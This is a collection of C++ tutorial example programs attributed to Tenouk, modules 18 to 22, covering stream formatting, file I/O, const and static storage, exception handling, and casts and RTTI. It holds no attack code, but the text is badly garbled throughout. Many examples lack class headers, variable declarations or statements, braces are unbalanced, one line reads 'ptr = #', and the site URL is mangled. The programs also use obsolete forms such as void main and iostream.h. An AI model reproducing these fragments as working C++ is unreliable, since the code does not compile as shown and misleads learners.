//notice the same variable name, it is OK...
char* Color;
public:
Rectangle(){Color = "bLue SkY!";}
~Rectangle(){}
//derived class member function
//should also be virtual...
char* GetColor(){return Color;}
};
public:
Square(){Color = "yEllOw!";}
~Square(){}
char* GetColor(){return Color;}
};
public:
Triangle(){Color = "GrEEn!";}
~Triangle(){}
char* GetColor(){return Color;}
};
public:
Circle(){Color = "aMbEr!";}
~Circle(){}
//let set different function name but
//same functionality...
char* GetMyColor(){return Color;}
};
//------main program-----
int main()
{
//instantiate objects of class type...
Shape ObjOne;
Rectangle ObjTwo;
Square ObjThree;
Triangle ObjFour;
Circle ObjFive;
//retest...
VirtualPtr = new Triangle;
cout<<"Triangle color: "<<VirtualPtr->GetColor()<<endl;
cout<<" VirtualPtr pointer reference = "<<VirtualPtr<<endl;
delete VirtualPtr;
return 0;
}
============================MODULE18=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================
#include <stdlib.h>
#include <iostream.h>
void main(void)
{
cout<<"Welcome to C++ I/O module!!!"<<endl;
cout<<"Welcome to ";
cout<<"C++ module 18"<<endl;
//endl is end line stream manipulator
//issue a new line character and flushes the output buffer
//output buffer may be flushed by cout<<flush; command
system("pause");
}
------------------------------------------------------------------------
//concatenating <<
#include <stdlib.h>
//for system(), if compiled in some compiler
//such as Visual Studio, no need this stdlib.h
#include <iostream.h>
void main(void)
{
int p = 3, q = 10;
system("pause");
}
-----------------------------------------------------------------------
#include <stdlib.h>
#include <iostream.h>
void main(void)
{
int p, q, r;
system("pause");
}
----------------------------------------------------------------------
#include <stdlib.h>
#include <iostream.h>
void main(void)
{
char p;
system("pause");
}
-----------------------------------------------------------------------
void main(void)
{
char bufferOne[SIZE], bufferTwo[SIZE];
cout<<bufferTwo<<endl;
system("pause");
}
---------------------------------------------------------------------------
//getline() example
#include <stdlib.h>
#include <iostream.h>
void main(void)
{
char buffer[SIZE];
cout<<buffer<<endl;
system("pause");
}
--------------------------------------------------------------------------
void main(void)
{
char buffer[SIZE];
system("pause");
}
--------------------------------------------------------------------------
void main(void)
{
int p;
system("pause");
}
--------------------------------------------------------------------------
void main(void)
{
double theroot = sqrt(11.55);
cout<<"Using 'precision':"<<endl;
system("pause");
}
------------------------------------------------------------------------
void main(void)
{
int p = 6;
char string[20];
system("pause");
}
------------------------------------------------------------------------
///Using showpoint
//controlling the trailing zeroes and floating points
#include <iostream.h>
#include <iomanip.h>
#include <stdlib.h>
void main(void)
{
cout<<"Before using the ios::showpoint flag\n"
<<"------------------------------------"<<endl;
cout<<"cout prints 88.88000 as: "<<88.88000
<<"\ncout prints 88.80000 as: "<<88.80000
<<"\ncout prints 88.00000 as: "<<88.00000
system("pause");
}
--------------------------------------------------------------------------
void main(void)
{
long p = 123456789L;
//L - literal data type qualifier for long...
//F - float, UL unsigned integer...
cout<<"The default for 10 fields is right justified:\n"
<<setw(10)<<p
<<"\n\nUsing member function\n"
<<"---------------------\n"
<<"\nUsing setf() to set ios::left:\n"<<setw(10);
cout.setf(ios::left,ios::adjustfield);
cout<<p<<"\nUsing unsetf() to restore the default:\n";
cout.unsetf(ios::left);
cout<<setw(10)<<p
<<"\n\nUsing parameterized stream manipulators\n"
<<"---------------------------------------\n"
<<"\nUse setiosflags() to set the ios::left:\n"
<<setw(10)<<setiosflags(ios::left)<<p
<<"\nUsing resetiosflags() to restore the default:\n"
<<setw(10)<<resetiosflags(ios::left)
<<p<<endl;
system("pause");
}
-------------------------------------------------------------------------
void main(void)
{
cout<<setiosflags(ios::internal | ios::showpos)
<<setw(12)<<12345<<endl;
system("pause");
}
-------------------------------------------------------------------------
void main(void)
{
long p = 30000;
cout<<p
<<" printed using the default pad character\n"
<<"for right and left justified and as hex\n"
<<"with internal justification.\n"
<<"--------------------------------------------\n";
cout.setf(ios::showbase);
cout<<setw(10)<<p<<endl;
cout.setf(ios::left,ios::adjustfield);
cout<<setw(10)<<p<<endl;
cout.setf(ios::internal,ios::adjustfield);
cout<<setw(10)<<hex<<p<<"\n\n";
system("pause");
}
-------------------------------------------------------------------------
//using ios::showbase
#include <iostream.h>
#include <iomanip.h>
#include <stdlib.h>
void main(void)
{
long p = 2000;
cout<<setiosflags(ios::showbase)
<<"Printing integers by their base:\n"
<<"--------------------------------\n"
<<"Decimal ---> "<<p<<'\n'
<<"Hexadecimal---> "<<hex<<p<<'\n'
<<"Octal ---> "<<oct<<p<<endl;
system("pause");
}
------------------------------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
void main(void)
{
cout<<"Declared variables\n"
<<"------------------\n"
<<"0.000654321"<<'\n'<<"9.8765e3"<<"\n\n";
cout<<"Default format:\n"
<<"---------------\n"
<<p<<'\t'<<q<<'\n'<<endl;
cout.setf(ios::scientific,ios::floatfield);
cout<<"Scientific format:\n"
<<"------------------\n"
<<p<<'\t'<<q<<'\n';
cout.unsetf(ios::scientific);
cout<<"\nDefault format after unsetf:\n"
<<"----------------------------\n"
<<p<<'\t'<<q<<endl;
cout.setf(ios::fixed,ios::floatfield);
cout<<"\nIn fixed format:\n"
<<"----------------\n"
<<p<<'\t'<<q<<endl;
system("pause");
}
------------------------------------------------------------------------
void main(void)
{
long p = 12345678;
cout<<setiosflags(ios::uppercase)
<<"Uppercase letters in scientific\n"
system("pause");
}
------------------------------------------------------------------------
void main(void)
{
long p = 2000;
double q = 0.00124345;
cout.flags(OriginalFormat);
//restore the original format setting
cout<<"The value of the flags variable is: "
<<cout.flags()<<'\n'
<<"Print values in original format again:\n"
<<p<<'\t'<<q<<endl;
system("pause");
}
------------------------------------------------------------------------
void main(void)
{
int p;
-------------------------------------------------VC++/VC++ .Net----------------------------------------------------
void main(void)
{
double p = 0.000654321, q = 9.8765e3;
cout<<"Declared variables\n"
<<"------------------\n"
<<"0.000654321"<<'\n'<<"9.8765e3"<<"\n\n";
cout<<"Default format:\n"
<<"---------------\n"
<<p<<'\t'<<q<<'\n'<<endl;
cout.setf(ios::scientific,ios::floatfield);
cout<<"Scientific format:\n"
<<"------------------\n"
<<p<<'\t'<<q<<'\n';
cout.unsetf(ios::scientific);
cout<<"\nDefault format after unsetf:\n"
<<"----------------------------\n"
<<p<<'\t'<<q<<endl;
cout.setf(ios::fixed,ios::floatfield);
cout<<"\nIn fixed format:\n"
<<"----------------\n"
<<p<<'\t'<<q<<endl;
}
------------------------------------------------G++ on Linux/Fedora--------------------------------------------------
/////-padding.cpp-/////
//using fill() member function and setfill() manipulator
#include <iostream>
#include <iomanip>
using namespace std;
int main(void)
{
long p = 30000;
============================MODULE19=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================
---------------------------sampleread.txt-----------------------------
This is file sampleread.txt. This file will be opened for reading
then its content will be written to another file and standard output
i.e screen/console...after you have executed this C++ program,
without error....this text should be output on your screen as well as
written to the samplewrite.txt file. Don't forget to check the
content of the samplewrite.txt.
--------------------------------------------------------------------------------------------
//#include <iostream>
//#include <fstream>
//#include <cstdlib>
//using namespace std;
#include <iostream.h>
#include <fstream.h>
#include <stdlib.h>
cin>>filename;
infile.open(filename);
}
void main(void)
{
//declare the input file stream
ifstream inputfile;
//declare the output file stream
ofstream outputfile;
char chs;
outputfile.close();
}
---------------------------------------------------------------------------------------
-------------------------readfile.txt---------------------
---------------------------------------------------------------------------------------
void main(void)
{
char filename[50];
ifstream inputfile;
char FirstLine[50];
char SecondLine[50];
char ThirdLine[50];
system("pause");
}
---------------------------------------------------------------------------------------
#include <fstream.h>
#include <stdlib.h>
void main(void)
{
char filename[] = "C:\\testfileio.txt";
ifstream inputfile;
inputfile.open(filename, ios::in);
//test if fail to open fail for reading, do…
if(inputfile.fail())
{
cout<<"Opening "<<filename<<" file for reading\n";
cout<<"---------------------------------------\n";
cout<<"The "<<filename<<" file could not be opened!\n";
cout<<"Possible errors:\n";
cout<<"1. The file does not exist.\n";
cout<<"2. The path was not found.\n";
system("pause");
exit(1); //just exit
//0-normal, non zero - some error
}
//if successful opening file for reading, do…
else
{
cout<<"The "<<filename<<" file was opened successfully!\n";
cout<<"\nDo some file processing here...\n";
}
inputfile.close();
-------------------------------------------------------------------------------------------
void main(void)
{
char filename[100];
ifstream inputfile;
--------------------------------------------------------------------------------------
------------testfileio1.txt------------
100.23 56.33 67.12 89.10 55.45
23.12 56.11 43.24 65.32 45.00
--------------------------------------------------------------------------------------
void main(void)
{
char filename[] = "C:\\testfileio1.txt";
ifstream inputfile;
system("pause");
}
}
------------------------------------------------------------------------------------------------
----------testfileio2.txt---------------
------------------------------------------------------------------------------------------------
void main(void)
{
char filename[] = "C:\\testfileio2.txt";
ofstream outputfile;
int sampledata;
//write some integers to the file...
for(sampledata=0; sampledata<=10; sampledata++)
outputfile<<sampledata<<" ";
outputfile<<endl;
//close the output file
outputfile.close();
//test if fail to close the file, do the following...
//simple error handling for output files closing
if(outputfile.fail())
{
cout<<"The "<<filename<<" file could not be closed!\n";
system("pause");
exit(1);
}
//test if successful to close the file, do the following...
else
cout<<"\nThe "<<filename<<" file was closed successfully!\n";
system("pause");
}
}
---------------------------------------------------------------------------------------------------
//using seekg()
#include <iostream.h>
#include <fstream.h>
#include <stdlib.h>
void main(void)
{
char filename[] = "C:\\testfileio3.txt";
fstream inputfile, outputfile;
outputfile.close();
system("pause");
}
}
--------------------------------------------------------------------------------------------------
//using seekp()
#include <iostream.h>
#include <fstream.h>
#include <stdlib.h>
void main(void)
{
char filename[] = "C:\\testfileio4.txt";
ofstream outputfile;
int locate;
system("pause");
}
---------------------------------------------------------------------------------------------------
//istream ignore()
#include <iostream>
#include <stdlib.h>
int main ()
{
char firstword, secondword;
firstword = cin.get();
cin.ignore(30,' ');
secondword = cin.get();
system("pause");
return 0;
}
------------------------------------------------VC++/VC++ .Net-------------------------------------------------
cin>>filename;
infile.open(filename);
}
void main(void)
{
//declare the input file stream
ifstream inputfile;
//declare the output file stream
ofstream outputfile;
char chs;
-----------------------------------------------G++-------------------------------------------------------
int main(void)
{
return 0;
}
}
============================MODULE20=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================
#include <iostream.h>
#include <stdlib.h>
int funcstatic(int)
{
//local variable should exist locally...
int sum = 0;
sum = sum + 10;
return sum;
}
int main()
{
int r = 5, s;
---------------------------------------------------------------------------
public:
object(void);
int set(int);
~object(void);
};
//this header file cannot be compiled or run
---------------------------------------------------------------------------------
//extern...
int global1 = 30;
int global2 = 40;
object::~object(void)
{
objectvar = 0;
}
-----------------------------------------------------------------------------------
main()
{
object FirstObject;
//external to object.cpp
extern int global2;
//local to this main() function...
int local2 = 20;
-----------------------------------------------------------------------------------
//const variable
#include <iostream>
#include <stdlib.h>
int main()
{
//p = 15;
//--p;
system("pause");
}
----------------------------------------------------------------------------------
//const variable
#include <iostream>
int main()
{
}
//No output for this example
----------------------------------------------------------------------------------
int main()
{
system("pause");
return 0;
}
---------------------------------------------------------------------------------
int main()
{
system("pause");
return 0;
}
--------------------------------------------------------------------------------
class Date
{
int month;
public:
Date::Date(int,int,int)
{
}
void Date::SetMonth(int mnt)
{
//Modify the non const member variable data
month = mnt;
}
//----main program----
void main()
{
Date TheDate(7,4,2004);
//non const member function, OK
TheDate.SetMonth(11);
system("pause");
}
-------------------------------------------VC++/VC++ .Net------------------------------------------
int funcstatic(int)
{
int main()
{
int r = 5, s;
============================MODULE21=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================
#include <iostream.h>
//function prototype...
void TestCFunct(void);
int main()
{
//C++ try block...
try
{
//function calls...
TestCFunct();
}
//catch block...
catch(...)
{
cout<<"Caught the exception, C style..."<< endl;
}
return 0;
}
//function definition...
void TestCFunct()
{
//structured handling exception...
__try
{
int p, r = 2, q = 0;
//exception should be raised here
//divide by 0...
p = r*(10/q);
}
__finally
{
cout<<"In __finally" << endl;
//finding the appropriate catch...
}
}
----------------------------------------------------------------------------------------
int main()
{
//declare char pointer
char* buff;
//try block...
try
{
//allocate storage for char object...
buff = new char[1024];
------------------------------------------------------------------------------------------
int main ()
{
try
{
char * teststr;
teststr = new char [10];
--------------------------------------------------------------------------------------------
void Funct();
int main()
{
try
{
Funct();
}
catch(double)
{
cerr<<"caught a double type..."<<endl;
}
return 0;
}
void Funct()
{
//3 is not a double but int
throw 3;
}
---------------------------------------------------------------------------------------------
void TestFunct(void);
void TestFunct()
{
//instantiate an object, constructor invoked...
DestrTest p;
cout<<"Next in TestFunct(): \n Throwing Test1 type exception...\n";
//first throw...
throw Test1();
}
int main()
{
cout<<"Starting in main()...\n";
try
{
cout<<"Now, in the try block: \n Calling TestFunct()...\n";
TestFunct();
}
//instantiate another object, constructor invoked...
catch(Test1 q)
{
cout<<"Next, in catch handler:\n";
cout<<" Caught Test1 type exception...\n";
cout<<q.TestShow()<<"\n";
}
catch(char *strg)
{
cout<<"Caught char pointer type exception: "<<strg<<"\n";
}
cout<<"Back in main...\n";
return 0;
}
---------------------------------------------------------------------------------------------
void main()
{
try
{
Nothing();
SomeType();
}
catch (double)
{
cout<<"Caught a double..."<<endl;
}
}
---------------------------------------------------------------------------------------------
#include <iostream.h>
//base class
class Test1 {};
//derived class
class Test2 : public Test1 {};
void Funct();
int main()
{
try
{
//function call, go to Funct()
Funct();
}
catch(const Test1&)
{
cerr<<"Caught a Test1 type, base class..."<<endl;
}
return 0;
}
-----------------------------------------------------------------------------------------------
#include <iostream.h>
//exit()
#include <stdlib.h>
//set_terminate()
#include <exception>
void Funct()
{
cout<<"Funct() was called by terminate()."<<endl;
//0-normal exit, non zero-exit with some error
exit(0);
}
int main()
{
try
{
set_terminate(Funct);
//No catch handler for this exception
throw "Out of memory!";
}
catch(int)
{
cout<<"Integer exception raised."<<endl;
}
return 0;
}
------------------------------------------------------------------------------------------------
//exception specification
#include <iostream.h>
//handler function
void handler()
{cout<<"In the handler()\n";}
//int throw...
void Funct1(void) throw(int)
{
static int x = 1;
cout<<"Funct1() call #"<<x++<<endl;
cout<<"About to throw 1\n";
if (1)
throw 1;
}
//empty throw...
void Funct5(void) throw()
{
try
{Funct1();}
catch(...)
{handler();}
}
void Funct2(void)
{
try
{Funct1();}
catch(int)
{handler();}
}
int main()
{
Funct2();
try
{Funct4();}
catch(...)
--------------------------------------------------------------------------------------
//standard exceptions
//program example
#include <iostream.h>
#include <exception>
#include <typeinfo>
class Test1
{
virtual Funct() {};
};
int main ()
{
try {
Test1 * var = NULL;
typeid (*var);
}
catch (std::exception& typevar)
{
cout<<"Exception: "<<typevar.what()<<endl;
}
return 0;
}
---------------------------------------------------------------------------------------
//out_of_range example
#include <string>
#include <iostream>
int main( )
{
try
{
string strg1("Test");
string strg2("ing");
strg1.append(strg2, 4, 2);
cout<<strg1<<endl;
}
catch (exception &e)
{
cerr<<"Caught: "<<e.what()<<endl;
cerr<<"Type: "<<typeid(e).name()<<endl;
};
return 0;
}
------------------------------------------------------------------------------------------
//bad_cast
//Need to enable the Run-Time Type Info,
//rtti of your compiler. You will learn
//Typecasting in another Module…
#include <typeinfo.h>
#include <iostream>
using namespace std;
class Myshape
{
public:
virtual void myvirtualfunc() const {}
};
int main()
{
Myshape Myshape_instance;
Myshape &ref_Myshape = Myshape_instance;
try {
//try the run time typecasting, dynamic_cast
mytriangle &ref_mytriangle = dynamic_cast<mytriangle&>(ref_Myshape);
}
catch (bad_cast) {
cout<<"Can't do the dynamic_cast lor!!!"<<endl;
cout<<"Caught: bad_cast exception. Myshape is not mytriangle.\n";
}
}
----------------------------------------------------------------------------------------------
int main()
{
char* ptr;
------------------------------------------------------------------------------------------------
//set_unexpected
#include <exception>
#include <iostream>
using namespace std;
void myfunction()
{
cout<<"Testing myfunction()."<<endl;
//terminate() handler
terminate();
}
int main( )
{
unexpected_handler oldHandler = set_unexpected(myfunction);
//unexpected() function call
unexpected();
}
--------------------------------------------------------------------------------------------------
//bad_typeid
#include <typeinfo.h>
#include <iostream>
using namespace std;
class Test
{
public:
//object for a class needs vtable
//for the rtti...
Test();
virtual ~Test();
};
int main()
{
Test *ptrvar = NULL;
try {
//the error condition
cout<<typeid(*ptrvar).name()<<endl;
}
catch (bad_typeid){
cout<<"The object is NULL"<<endl;
}
}
---------------------------------------------------------------------------------------------------
int main()
{
try
{
throw domain_error("Some error with your domain!");
}
catch (exception &err)
{
cerr<<"Caught: "<<err.what()<<endl;
cerr<<"Type: "<<typeid(err).name()<<endl;
};
}
----------------------------------------------------------------------------------------------------
//invalid_argument
#include <bitset>
#include <iostream>
using namespace std;
int main()
{
try
{
//binary wrongly represented by char X
//template based…
bitset<32> bitset(string("0101001X01010110000"));
}
catch (exception &err)
{
cerr<<"Caught "<<err.what()<<endl;
cerr<<"Type "<<typeid(err).name()<<endl;
};
}
----------------------------------------------------------------------------------------------------
//runtime_error
#include <iostream>
using namespace std;
int main()
{
//runtime_error
try
{
locale testlocale("Something");
}
catch(exception &err)
{
cerr<<"Caught "<<err.what()<<endl;
cerr<<"Type "<<typeid(err).name()<<endl;
};
}
---------------------------------------------------------------------------------------------------
//overflow_error
//storage reserved is not enough
#include <bitset>
#include <iostream>
using namespace std;
int main()
{
try
{
//template based…
bitset<100> bitset;
bitset[99] = 1;
bitset[0] = 1;
//to_ulong(), converts a bitset object to the integer
//that would generate the sequence of bits
unsigned long Test = bitset.to_ulong();
}
catch(exception &err)
{
cerr<<"Caught "<<err.what()<<endl;
cerr<<"Type "<<typeid(err).name()<<endl;
};
}
-------------------------------------------------------------------------------------------------------
//range_error
#include <iostream>
using namespace std;
int main()
{
try
{
throw range_error("Some error in the range!");
}
catch(exception &Test)
{
cerr<<"Caught: "<<Test.what()<<endl;
cerr<<"Type: "<<typeid(Test).name()<<endl;
};
}
------------------------------------------------VC++/VC++ .Net----------------------------------------------------
//underflow_error
//negative storage...
#include <iostream>
using namespace std;
int main()
{
try
{
throw underflow_error("The negative storage?");
}
catch(exception &Test)
{
cerr<<"Caught: "<<Test.what()<<endl;
cerr<<"Type: "<<typeid(Test).name()<<endl;
};
}
------------------------------------------------------G++--------------------------------------------------------
//***********-except.cpp-***********
//exception, class and destructor
#include <iostream>
using namespace std;
void TestFunct(void);
DestrTest::~DestrTest()
{
cout<<"Next, in destructor ~DestrTest():\n";
cout<<" Destructing the DestrTest...\n";
}
void TestFunct()
{
//instantiate an object, constructor invoked...
DestrTest p;
cout<<"Next in TestFunct(): \n Throwing Test1 type exception...\n";
//first throw...
throw Test1();
}
int main()
{
cout<<"Starting in main()...\n";
try
{
cout<<"Now, in the try block: \n Calling TestFunct()...\n";
TestFunct();
}
//instantiate another object, constructor invoked...
catch(Test1 q)
{
cout<<"Next, in catch handler:\n";
cout<<" Caught Test1 type exception...\n";
cout<<q.TestShow()<<"\n";
}
catch(char *strg)
{
cout<<"Caught char pointer type exception: "<<strg<<"\n";
}
cout<<"Back in main...\n";
return 0;
}
============================MODULE22=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================
//For VC++ (Version > 4.0) / VC++ .Net change the header files
//to the following accordingly...Same for other examples lol!
//#include <iostream>
//#include <cstdlib>
//using namespace std;
#include <iostream.h>
#include <stdlib.h>
int main()
{
int sum = 1000;
int count = 21;
system("pause");
return 0;
}
-------------------------------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
int main()
{
int p1 = 3;
system("pause");
return 0;
}
-------------------------------------------------------------------------
//demonstrates const_cast
#include <iostream.h>
#include <stdlib.h>
int main()
{
//p = 10 is a constant value, cannot be modified
const int p = 20;
system("pause");
}
-----------------------------------------------------------------------------
//Demonstrate const_cast
#include <iostream.h>
#include <stdlib.h>
struct One
{
//test function...
void funct1()
{ cout<<"Testing..."<<endl;}
};
int main()
{
One b;
funct2(b);
system("pause");
return 0;
}
--------------------------------------------------------------------------------
//Change c.funct1(); to the following statements recompile and rerun the program.
---------------------------------------------------------------------------------
double funct1(double& f)
{
//do some work here...
f++;
cout<<"f = "<<f<<endl;
//return the incremented value...
return f;
}
int main()
{
double c = 4.324;
system("pause");
return 0;
}
------------------------------------------------------------------------------------
class One
{
public:
void funct()
{cout<<"Testing..."<<endl;};
};
void TestConstVol()
{
One Test3;
//remove const...
const_cast<One&>(Test3).funct();
//remove const and volatile...
const_cast<int*> (Test1);
}
int main()
{
TestConstVol();
system("pause");
return 0;
}
------------------------------------------------------------------------------------------
//this pointer
#include <iostream.h>
#include <stdlib.h>
class Test
{
public:
void GetNumber(int);
//Read only function...
void DisplayNumber() const;
private:
int Number;
};
int main()
{
Test p;
p.GetNumber(20);
p.DisplayNumber();
system("pause");
return 0;
}
--------------------------------------------------------------------------------------
class Test
{
//using mutable
mutable int count;
mutable const int* ptr;
public:
//Read only function can't
//change const arguments.
int funct(int num = 10) const
{
//should be valid expression...
count = num+=3;
ptr = #
int main(void)
{
Test var;
system("pause");
return 0;
}
--------------------------------------------------------------------------------------
//base class
class Base1 {};
//derived class...
class Derived1:public Base1 {};
if(!Test3)
cout<<"The conversion is fail..."<<endl;
else
cout<<"The conversion is successful..."<<endl;
int main()
{
funct1();
system("pause");
return 0;
}
----------------------------------------------------------------------------------------
//base class
class Base1
{
public:
virtual void funct1(){};
};
int main()
{
funct3();
system("pause");
return 0;
}
---------------------------------------------------------------------------------
//base class
class Base1 {
public:
virtual void funct1(){};
};
//derived class...
class Derived1:public Base1 {
public:
virtual void funct2(){};
};
int main()
{
funct3();
system("pause");
return 0;
}
----------------------------------------------------------------------------------
//multiple inheritance
//conversion using dynamic_cast
#include <iostream.h>
#include <stdlib.h>
//base class
class Base1 {};
//derived class...
class Derived3:public Derived1, public Derived2
{
public:
virtual void funct1(){}
};
int main()
{
funct2();
system("pause");
return 0;
}
---------------------------------------------------------------------------------------
//base class
class Base1
{
public:
virtual void funct1(){};
};
//derived class...
class Base2
{
public:
virtual void funct4(){};
};
//instantiate an object
//Test1 of type Base2...
//or test1 of type Derived2...
//you can choose either one:-)
else
cout<<"The conversion is successful..."<<endl;
else
cout<<"The conversion is successful..."<<endl;
delete Test1;
}
int main()
{
funct5();
system("pause");
return 0;
}
---------------------------------------------------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
//no inheritance…
Base2Obj = dynamic_cast<Base2*>(Base1Obj);
if(!Base2Obj)
cout<<"Conversion is failed!...."<<endl;
else
cout<<"Conversion is OK...."<<endl;
cout<<"The address.."<<Base2Obj<<endl;
if(!Base1Obj)
cout<<"Conversion is failed!...."<<endl;
else
cout<<"Conversion is OK...."<<endl;
cout<<"The address.."<<Base1Obj<<endl;
int main()
{
int *ptr = NULL;
int var;
cout<<"Benchmarking..."<<endl;
cout<<"Address of var = "<<&var<<endl;
//NULL pointer
cout<<"NULL *ptr = "<<ptr<<endl;
cout<<endl;
system("pause");
return 0;
}
-----------------------------------------------------------------------------------
int main()
{
char c;
float f;
cout<<typeid(double).name();
cout<<" before "<<typeid(int).name()<<": "<<
(typeid(double).before(typeid(int)) ? T:F)<<endl;
cout<<typeid(A).name();
cout<<" before "<<typeid(B).name()<<": "<<
(typeid(A).before(typeid(B)) ? T:F)<<endl;
system("pause");
return 0;
}
-------------------------------------------------------------------------------------
//derived class...
class Derived : public Test {};
int main(void)
{
//Instantiate Derived type object...
Derived DerivedObj;
system("pause");
return 0;
}
-----------------------------------------------------------------------------------------
class Base
{
public:
virtual void funct(){}
};
int main()
{
Derived* Test1 = new Derived;
Base* Test2 = Test1;
delete Test1;
system("pause");
return 0;
}
------------------------------------------------------------------------------------------
#include <stdlib.h>
int main(void)
{
//array name is a pointer...
int a[10];
system("pause");
return 0;
}
//simple class
//compiled using visual C++ .Net
#include <iostream>
using namespace std;
class MyStack
{
public:
//create a stack with initial size
